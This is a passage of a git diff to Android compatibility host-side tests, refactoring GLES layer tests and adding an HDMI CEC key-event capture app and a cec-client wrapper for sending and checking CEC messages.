- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = GLES_LAYER_A + " loaded";
@@ -676,12 +671,12 @@
setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = GLES_LAYER_A + " loaded";
@@ -705,12 +700,12 @@
setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure layerA is not loaded
String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -730,11 +725,11 @@
deleteSetting("gpu_debug_layers_gles");
// Enable layerC (which is packaged with the RELEASE app) with system properties
- mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_C_LIB);
+ getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_C_LIB);
// Kick off our RELEASE app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
// Check that both layers were loaded, in the correct order
String searchStringA = GLES_LAYER_A + "loaded";
@@ -762,19 +757,19 @@
setupLayer(GLES_LAYER_B_LIB, GLES_LAYERS_APP);
// Copy them over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", GLES_LAYER_B_LIB, ";", "chmod", "700", GLES_LAYER_B_LIB + "\'");
// Enable layerB with system properties
- mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_B_LIB);
+ getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_B_LIB);
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure only layerA is loaded
String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -802,7 +797,7 @@
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that our external layer was loaded
String searchStringC = "glesLayer_eglChooseConfig called in " + GLES_LAYER_C;
@@ -827,7 +822,7 @@
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that external layers were loaded from both apps
String vulkanString = "nullCreateInstance called in " + LAYER_C;
diff --git a/hostsidetests/harmfulappwarning/AndroidTest.xml b/hostsidetests/harmfulappwarning/AndroidTest.xml
index b0e9567..56dbcf9 100644
--- a/hostsidetests/harmfulappwarning/AndroidTest.xml
+++ b/hostsidetests/harmfulappwarning/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsHarmfulAppWarningTestApp.apk" />
diff --git a/hostsidetests/hdmicec/Android.bp b/hostsidetests/hdmicec/Android.bp
index ca649d2..0fa3a6a 100644
--- a/hostsidetests/hdmicec/Android.bp
+++ b/hostsidetests/hdmicec/Android.bp
@@ -27,4 +27,7 @@
"tradefed",
"compatibility-host-util",
],
+ data: [
+ ":HdmiCecKeyEventCaptureApp",
+ ],
}
diff --git a/hostsidetests/hdmicec/AndroidTest.xml b/hostsidetests/hdmicec/AndroidTest.xml
index 0dfb7ec..2b1390a 100644
--- a/hostsidetests/hdmicec/AndroidTest.xml
+++ b/hostsidetests/hdmicec/AndroidTest.xml
@@ -19,6 +19,10 @@
<!-- Instant apps for TV is not supported. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="HdmiCecKeyEventCaptureApp.apk" />
+ </target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsHdmiCecHostTestCases.jar" />
</test>
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
new file mode 100644
index 0000000..910aa30
--- /dev/null
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "HdmiCecKeyEventCaptureApp",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 61%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
rename to hostsidetests/hdmicec/app/AndroidManifest.xml
index a48cb1d..ce9fff7
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -16,10 +16,16 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.nocomponentapp">
-
- <uses-permission android:name="android.permission.INTERNET" />
- <application />
+ package="android.hdmicec.app">
+ <uses-feature android:name="android.software.leanback"
+ android:required="false" />
+ <application >
+ <activity android:name=".HdmiCecKeyEventCapture" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LEANBACK_LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
</manifest>
-
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecKeyEventCapture.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecKeyEventCapture.java
new file mode 100644
index 0000000..63736bf
--- /dev/null
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecKeyEventCapture.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.Gravity;
+import android.widget.LinearLayout;
+import android.widget.ScrollView;
+import android.widget.TableRow;
+import android.widget.TextView;
+
+import java.lang.Override;
+
+/**
+ * A simple app that captures the key press events and logs them.
+ */
+public class HdmiCecKeyEventCapture extends Activity {
+
+ private static final String TAG = HdmiCecKeyEventCapture.class.getSimpleName();
+ private TextView text;
+ private boolean longPressed = false;
+
+ static final String LONG_PRESS_PREFIX = "Long press ";
+ static final String SHORT_PRESS_PREFIX = "Short press ";
+
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ ScrollView sv = new ScrollView(this);
+ LinearLayout layout = new LinearLayout(this);
+ TableRow.LayoutParams layoutParams =
+ new TableRow.LayoutParams(TableRow.LayoutParams.WRAP_CONTENT,
+ TableRow.LayoutParams.WRAP_CONTENT, 1.0f);
+ text = new TextView(this);
+ text.setGravity(Gravity.CENTER);
+ text.setText("No key pressed!");
+ text.setLayoutParams(layoutParams);
+ layout.addView(text);
+ this.setContentView(layout);
+ }
+
+ @Override
+ public boolean onKeyDown(int keyCode, KeyEvent event) {
+ event.startTracking();
+ return true;
+ }
+
+ @Override
+ public boolean onKeyUp(int keyCode, KeyEvent event) {
+
+ text.setText((longPressed ? "Long press " : "Short press ") +
+ event.keyCodeToString(keyCode));
+
+ Log.d(TAG, event.toString());
+ Log.i(TAG, (longPressed ? "Long press " : "Short press ") + event.keyCodeToString(keyCode));
+
+ longPressed = false;
+ return true;
+ }
+
+ @Override
+ public boolean onKeyLongPress(int keyCode, KeyEvent event) {
+ longPressed = true;
+ return true;
+ }
+
+}
\ No newline at end of file
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecDevice.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecDevice.java
index 51884df..723b447 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecDevice.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecDevice.java
@@ -21,7 +21,9 @@
public enum CecDevice {
TV(0x0),
+ RECORDING_1(0x1),
PLAYBACK_1(0x4),
+ AUDIO_SYSTEM(0x5),
PLAYBACK_2(0x8),
PLAYBACK_3(0x9),
PLAYBACK_4(0xb),
@@ -41,6 +43,24 @@
}
}
+ public static String getDeviceType(CecDevice device) {
+ switch (device) {
+ case PLAYBACK_1:
+ case PLAYBACK_2:
+ case PLAYBACK_3:
+ case PLAYBACK_4:
+ return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+ case TV:
+ return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_TV);
+ case AUDIO_SYSTEM:
+ return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM);
+ case RECORDING_1:
+ return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_RECORDING_DEVICE);
+ default:
+ return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_RESERVED);
+ }
+ }
+
public static CecDevice getDevice(int playerId) {
return (CecDevice) deviceMap.get(playerId);
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 99bb1e6..793d93d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -22,11 +22,20 @@
public enum CecMessage {
FEATURE_ABORT(0x00),
TEXT_VIEW_ON(0x0d),
+ SET_MENU_LANGUAGE(0x32),
STANDBY(0x36),
+ USER_CONTROL_PRESSED(0x44),
+ USER_CONTROL_RELEASED(0x45),
+ GIVE_OSD_NAME(0x46),
+ SET_OSD_NAME(0x47),
+ GIVE_SYSTEM_AUDIO_MODE_STATUS(0x7d),
ACTIVE_SOURCE(0x82),
GIVE_PHYSICAL_ADDRESS(0x83),
REPORT_PHYSICAL_ADDRESS(0x84),
REQUEST_ACTIVE_SOURCE(0x85),
+ SET_STREAM_PATH(0x86),
+ DEVICE_VENDOR_ID(0x87),
+ GIVE_DEVICE_VENDOR_ID(0x8c),
GIVE_POWER_STATUS(0x8f),
REPORT_POWER_STATUS(0x90),
GET_MENU_LANGUAGE(0x91),
@@ -50,13 +59,7 @@
@Override
public String toString() {
- String message = Integer.toHexString(this.messageId);
- /* Every message should be of length 2, else prefix with 0 */
- int numZeros = 2 - message.length();
- for (int i = 0; i < numZeros; i++) {
- message = "0" + message;
- }
- return message;
+ return String.format("%02x", messageId);
}
private CecMessage(int messageId) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
new file mode 100644
index 0000000..0ddde5b
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -0,0 +1,488 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.RunUtil;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.util.concurrent.TimeUnit;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.junit.Rule;
+import org.junit.rules.ExternalResource;
+
+/** Class that helps communicate with the cec-client */
+public final class HdmiCecClientWrapper extends ExternalResource {
+
+ private static final String CEC_CONSOLE_READY = "waiting for input";
+ private static final int MILLISECONDS_TO_READY = 10000;
+ private static final int DEFAULT_TIMEOUT = 20000;
+ private static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
+ private static final int HEXADECIMAL_RADIX = 16;
+ private static final int BUFFER_SIZE = 1024;
+
+ private Process mCecClient;
+ private BufferedWriter mOutputConsole;
+ private BufferedReader mInputConsole;
+ private boolean mCecClientInitialised = false;
+
+ private CecDevice targetDevice;
+ private BaseHostJUnit4Test testObject;
+ private String clientParams[];
+
+ public HdmiCecClientWrapper(CecDevice targetDevice, BaseHostJUnit4Test testObject,
+ String ...clientParams) {
+ this.targetDevice = targetDevice;
+ this.testObject = testObject;
+ this.clientParams = clientParams;
+ }
+
+ @Override
+ protected void before() throws Throwable {
+ ITestDevice testDevice;
+ testDevice = testObject.getDevice();
+ assertNotNull("Device not set", testDevice);
+
+ assumeTrue(isHdmiCecFeatureSupported(testDevice));
+
+ String deviceTypeCsv = testDevice.executeShellCommand("getprop ro.hdmi.device_type").trim();
+ List<String> deviceType = Arrays.asList(deviceTypeCsv.replaceAll("\\s+", "").split(","));
+ assumeTrue(deviceType.contains(CecDevice.getDeviceType(targetDevice)));
+
+ this.init();
+ };
+
+ @Override
+ protected void after() {
+ this.killCecProcess();
+ };
+
+ /**
+ * Checks if the HDMI CEC feature is running on the device. Call this function before running
+ * any HDMI CEC tests.
+ * This could throw a DeviceNotAvailableException.
+ */
+ private static boolean isHdmiCecFeatureSupported(ITestDevice device) throws Exception {
+ return device.hasFeature(HDMI_CEC_FEATURE);
+ }
+
+ /** Initialise the client */
+ private void init() throws Exception {
+ boolean gotExpectedOut = false;
+ List<String> commands = new ArrayList();
+ int seconds = 0;
+
+ commands.add("cec-client");
+ commands.add("-p");
+ commands.add("2");
+ commands.addAll(Arrays.asList(clientParams));
+
+ mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
+ mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+
+ /* Wait for the client to become ready */
+ mCecClientInitialised = true;
+ if (checkConsoleOutput(CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
+ mOutputConsole = new BufferedWriter(
+ new OutputStreamWriter(mCecClient.getOutputStream()), BUFFER_SIZE);
+ return;
+ }
+
+ mCecClientInitialised = false;
+
+ throw (new Exception("Could not initialise cec-client process"));
+ }
+
+ private void checkCecClient() throws Exception {
+ if (!mCecClientInitialised) {
+ throw new Exception("cec-client not initialised!");
+ }
+ if (!mCecClient.isAlive()) {
+ throw new Exception("cec-client not running!");
+ }
+ }
+
+ /**
+ * Sends a CEC message with source marked as broadcast to the device passed in the constructor
+ * through the output console of the cec-communication channel.
+ */
+ public void sendCecMessage(CecMessage message) throws Exception {
+ sendCecMessage(CecDevice.BROADCAST, targetDevice, message, "");
+ }
+
+ /**
+ * Sends a CEC message from source device to the device passed in the constructor through the
+ * output console of the cec-communication channel.
+ */
+ public void sendCecMessage(CecDevice source, CecMessage message) throws Exception {
+ sendCecMessage(source, targetDevice, message, "");
+ }
+
+ /**
+ * Sends a CEC message from source device to a destination device through the output console of
+ * the cec-communication channel.
+ */
+ public void sendCecMessage(CecDevice source, CecDevice destination,
+ CecMessage message) throws Exception {
+ sendCecMessage(source, destination, message, "");
+ }
+
+ /**
+ * Sends a CEC message from source device to a destination device through the output console of
+ * the cec-communication channel with the appended params.
+ */
+ public void sendCecMessage(CecDevice source, CecDevice destination,
+ CecMessage message, String params) throws Exception {
+ checkCecClient();
+ mOutputConsole.write("tx " + source + destination + ":" + message + params);
+ mOutputConsole.flush();
+ }
+
+ /**
+ * Sends a <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> from TV to target device
+ * through the output console of the cec-communication channel with the mentioned keycode.
+ */
+ public void sendUserControlPressAndRelease(int keycode, boolean holdKey) throws Exception {
+ checkCecClient();
+ String key = String.format("%02x", keycode);
+ String command = "tx " + CecDevice.TV + CecDevice.PLAYBACK_1 + ":" +
+ CecMessage.USER_CONTROL_PRESSED + ":" + key;
+
+ if (holdKey) {
+ /* Repeat once between 200ms and 450ms for at least 5 seconds. Since message will be
+ * sent once later, send 16 times in loop every 300ms. */
+ int repeat = 16;
+ for (int i = 0; i < repeat; i++) {
+ mOutputConsole.write(command);
+ mOutputConsole.flush();
+ TimeUnit.MILLISECONDS.sleep(300);
+ }
+ }
+
+ mOutputConsole.write(command);
+ mOutputConsole.newLine();
+ /* Sleep less than 200ms between press and release */
+ TimeUnit.MILLISECONDS.sleep(100);
+ mOutputConsole.write("tx " + CecDevice.TV + CecDevice.PLAYBACK_1 + ":" +
+ CecMessage.USER_CONTROL_RELEASED);
+ mOutputConsole.flush();
+ }
+
+ /** Sends a message to the output console of the cec-client */
+ public void sendConsoleMessage(String message) throws Exception {
+ checkCecClient();
+ CLog.v("Sending message:: " + message);
+ mOutputConsole.write(message);
+ mOutputConsole.flush();
+ }
+
+ /** Check for any string on the input console of the cec-client, uses default timeout */
+ public boolean checkConsoleOutput(String expectedMessage) throws Exception {
+ return checkConsoleOutput(expectedMessage, DEFAULT_TIMEOUT);
+ }
+
+ /** Check for any string on the input console of the cec-client */
+ public boolean checkConsoleOutput(String expectedMessage,
+ long timeoutMillis) throws Exception {
+ checkCecClient();
+ long startTime = System.currentTimeMillis();
+ long endTime = startTime;
+
+ while ((endTime - startTime <= timeoutMillis)) {
+ if (mInputConsole.ready()) {
+ String line = mInputConsole.readLine();
+ if (line.contains(expectedMessage)) {
+ CLog.v("Found " + expectedMessage + " in " + line);
+ return true;
+ }
+ }
+ endTime = System.currentTimeMillis();
+ }
+ return false;
+ }
+
+ /**
+ * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
+ * returns the first line that contains that message within default timeout. If the CEC message
+ * is not found within the timeout, an exception is thrown.
+ */
+ public String checkExpectedOutput(CecMessage expectedMessage) throws Exception {
+ return checkExpectedOutput(CecDevice.BROADCAST, expectedMessage, DEFAULT_TIMEOUT);
+ }
+
+ /**
+ * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
+ * communication channel and returns the first line that contains that message within
+ * default timeout. If the CEC message is not found within the timeout, an exception is thrown.
+ */
+ public String checkExpectedOutput(CecDevice toDevice,
+ CecMessage expectedMessage) throws Exception {
+ return checkExpectedOutput(toDevice, expectedMessage, DEFAULT_TIMEOUT);
+ }
+
+ /**
+ * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
+ * returns the first line that contains that message within timeoutMillis. If the CEC message
+ * is not found within the timeout, an exception is thrown.
+ */
+ public String checkExpectedOutput(CecMessage expectedMessage,
+ long timeoutMillis) throws Exception {
+ return checkExpectedOutput(CecDevice.BROADCAST, expectedMessage, timeoutMillis);
+ }
+
+ /**
+ * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
+ * communication channel and returns the first line that contains that message within
+ * timeoutMillis. If the CEC message is not found within the timeout, an exception is thrown.
+ */
+ public String checkExpectedOutput(CecDevice toDevice, CecMessage expectedMessage,
+ long timeoutMillis) throws Exception {
+ checkCecClient();
+ long startTime = System.currentTimeMillis();
+ long endTime = startTime;
+ Pattern pattern = Pattern.compile("(.*>>)(.*?)" +
+ "(" + targetDevice + toDevice + "):" +
+ "(" + expectedMessage + ")(.*)",
+ Pattern.CASE_INSENSITIVE);
+
+ while ((endTime - startTime <= timeoutMillis)) {
+ if (mInputConsole.ready()) {
+ String line = mInputConsole.readLine();
+ if (pattern.matcher(line).matches()) {
+ CLog.v("Found " + expectedMessage.name() + " in " + line);
+ return line;
+ }
+ }
+ endTime = System.currentTimeMillis();
+ }
+ throw new Exception("Could not find message " + expectedMessage.name());
+ }
+
+ /**
+ * Looks for the CEC message incorrectMessage sent to CEC device toDevice on the cec-client
+ * communication channel and throws an exception if it finds the line that contains the message
+ * within the default timeout. If the CEC message is not found within the timeout, function
+ * returns without error.
+ */
+ public void checkOutputDoesNotContainMessage(CecDevice toDevice,
+ CecMessage incorrectMessage) throws Exception {
+ checkOutputDoesNotContainMessage(toDevice, incorrectMessage, DEFAULT_TIMEOUT);
+ }
+
+ /**
+ * Looks for the CEC message incorrectMessage sent to CEC device toDevice on the cec-client
+ * communication channel and throws an exception if it finds the line that contains the message
+ * within timeoutMillis. If the CEC message is not found within the timeout, function returns
+ * without error.
+ */
+ public void checkOutputDoesNotContainMessage(CecDevice toDevice, CecMessage incorrectMessage,
+ long timeoutMillis) throws Exception {
+
+ checkCecClient();
+ long startTime = System.currentTimeMillis();
+ long endTime = startTime;
+ Pattern pattern = Pattern.compile("(.*>>)(.*?)" +
+ "(" + targetDevice + toDevice + "):" +
+ "(" + incorrectMessage + ")(.*)",
+ Pattern.CASE_INSENSITIVE);
+
+ while ((endTime - startTime <= timeoutMillis)) {
+ if (mInputConsole.ready()) {
+ String line = mInputConsole.readLine();
+ if (pattern.matcher(line).matches()) {
+ CLog.v("Found " + incorrectMessage.name() + " in " + line);
+ throw new Exception("Found " + incorrectMessage.name() + " to " + toDevice +
+ " with params " + getParamsFromMessage(line));
+ }
+ }
+ endTime = System.currentTimeMillis();
+ }
+ }
+
+ /** Gets the hexadecimal ASCII character values of a string. */
+ public String getHexAsciiString(String string) {
+ String asciiString = "";
+ byte[] ascii = string.trim().getBytes();
+
+ for (byte b : ascii) {
+ asciiString.concat(Integer.toHexString(b));
+ }
+
+ return asciiString;
+ }
+
+ public String formatParams(String rawParams) {
+ StringBuilder params = new StringBuilder("");
+ int position = 0;
+ int endPosition = 2;
+
+ do {
+ params.append(":" + rawParams.substring(position, endPosition));
+ position = endPosition;
+ endPosition += 2;
+ } while (endPosition <= rawParams.length());
+ return params.toString();
+ }
+
+ public String formatParams(long rawParam) {
+ StringBuilder params = new StringBuilder("");
+
+ do {
+ params.insert(0, ":" + String.format("%02x", rawParam % 256));
+ rawParam >>= 8;
+ } while (rawParam > 0);
+
+ return params.toString();
+ }
+
+ /** Formats a CEC message in the hex colon format (sd:op:xx:xx). */
+ public String formatMessage(CecDevice source, CecDevice destination, CecMessage message,
+ int params) {
+ StringBuilder cecMessage = new StringBuilder("" + source + destination + ":" + message);
+
+ cecMessage.append(formatParams(params));
+
+ return cecMessage.toString();
+ }
+
+ public static int hexStringToInt(String message) {
+ return Integer.parseInt(message, HEXADECIMAL_RADIX);
+ }
+
+ public String getAsciiStringFromMessage(String message) {
+ String params = getNibbles(message).substring(4);
+ StringBuilder builder = new StringBuilder();
+
+ for (int i = 2; i <= params.length(); i += 2) {
+ builder.append((char) hexStringToInt(params.substring(i - 2, i)));
+ }
+
+ return builder.toString();
+ }
+
+ /**
+ * Gets the params from a CEC message.
+ */
+ public int getParamsFromMessage(String message) {
+ return hexStringToInt(getNibbles(message).substring(4));
+ }
+
+ /**
+ * Gets the first 'numNibbles' number of param nibbles from a CEC message.
+ */
+ public int getParamsFromMessage(String message, int numNibbles) {
+ int paramStart = 4;
+ int end = numNibbles + paramStart;
+ return hexStringToInt(getNibbles(message).substring(paramStart, end));
+ }
+
+ /**
+ * From the params of a CEC message, gets the nibbles from position start to position end.
+ * The start and end are relative to the beginning of the params. For example, in the following
+ * message - 4F:82:10:00:04, getParamsFromMessage(message, 0, 4) will return 0x1000 and
+ * getParamsFromMessage(message, 4, 6) will return 0x04.
+ */
+ public int getParamsFromMessage(String message, int start, int end) {
+ return hexStringToInt(getNibbles(message).substring(4).substring(start, end));
+ }
+
+ /**
+ * Gets the source logical address from a CEC message.
+ */
+ public CecDevice getSourceFromMessage(String message) {
+ String param = getNibbles(message).substring(0, 1);
+ return CecDevice.getDevice(hexStringToInt(param));
+ }
+
+ /**
+ * Converts ascii characters to hexadecimal numbers that can be appended to a CEC message as
+ * params. For example, "spa" will be converted to ":73:70:61"
+ */
+ public static String convertStringToHexParams(String rawParams) {
+ StringBuilder params = new StringBuilder("");
+ for (int i = 0; i < rawParams.length(); i++) {
+ params.append(String.format(":%02x", (int) rawParams.charAt(i)));
+ }
+ return params.toString();
+ }
+
+
+ /**
+ * Gets the destination logical address from a CEC message.
+ */
+ public CecDevice getDestinationFromMessage(String message) {
+ String param = getNibbles(message).substring(1, 2);
+ return CecDevice.getDevice(hexStringToInt(param));
+ }
+
+ private String getNibbles(String message) {
+ final String tag1 = "group1";
+ final String tag2 = "group2";
+ String paramsPattern = "(?:.*[>>|<<].*?)" +
+ "(?<" + tag1 + ">[\\p{XDigit}{2}:]+)" +
+ "(?<" + tag2 + ">\\p{XDigit}{2})" +
+ "(?:.*?)";
+ String nibbles = "";
+
+ Pattern p = Pattern.compile(paramsPattern);
+ Matcher m = p.matcher(message);
+ if (m.matches()) {
+ nibbles = m.group(tag1).replace(":", "") + m.group(tag2);
+ }
+ return nibbles;
+ }
+
+ /**
+ * Kills the cec-client process that was created in init().
+ */
+ private void killCecProcess() {
+ try {
+ checkCecClient();
+ sendConsoleMessage(CecClientMessage.QUIT_CLIENT.toString());
+ mOutputConsole.close();
+ mInputConsole.close();
+ mCecClientInitialised = false;
+ if (!mCecClient.waitFor(MILLISECONDS_TO_READY, TimeUnit.MILLISECONDS)) {
+ /* Use a pkill cec-client if the cec-client process is not dead in spite of the
+ * quit above.
+ */
+ List<String> commands = new ArrayList<>();
+ Process killProcess;
+ commands.add("pkill");
+ commands.add("cec-client");
+ killProcess = RunUtil.getDefault().runCmdInBackground(commands);
+ killProcess.waitFor();
+ }
+ } catch (Exception e) {
+ /* If cec-client is not running, do not throw an exception, just return. */
+ CLog.w("Unable to close cec-client", e);
+ }
+ }
+}
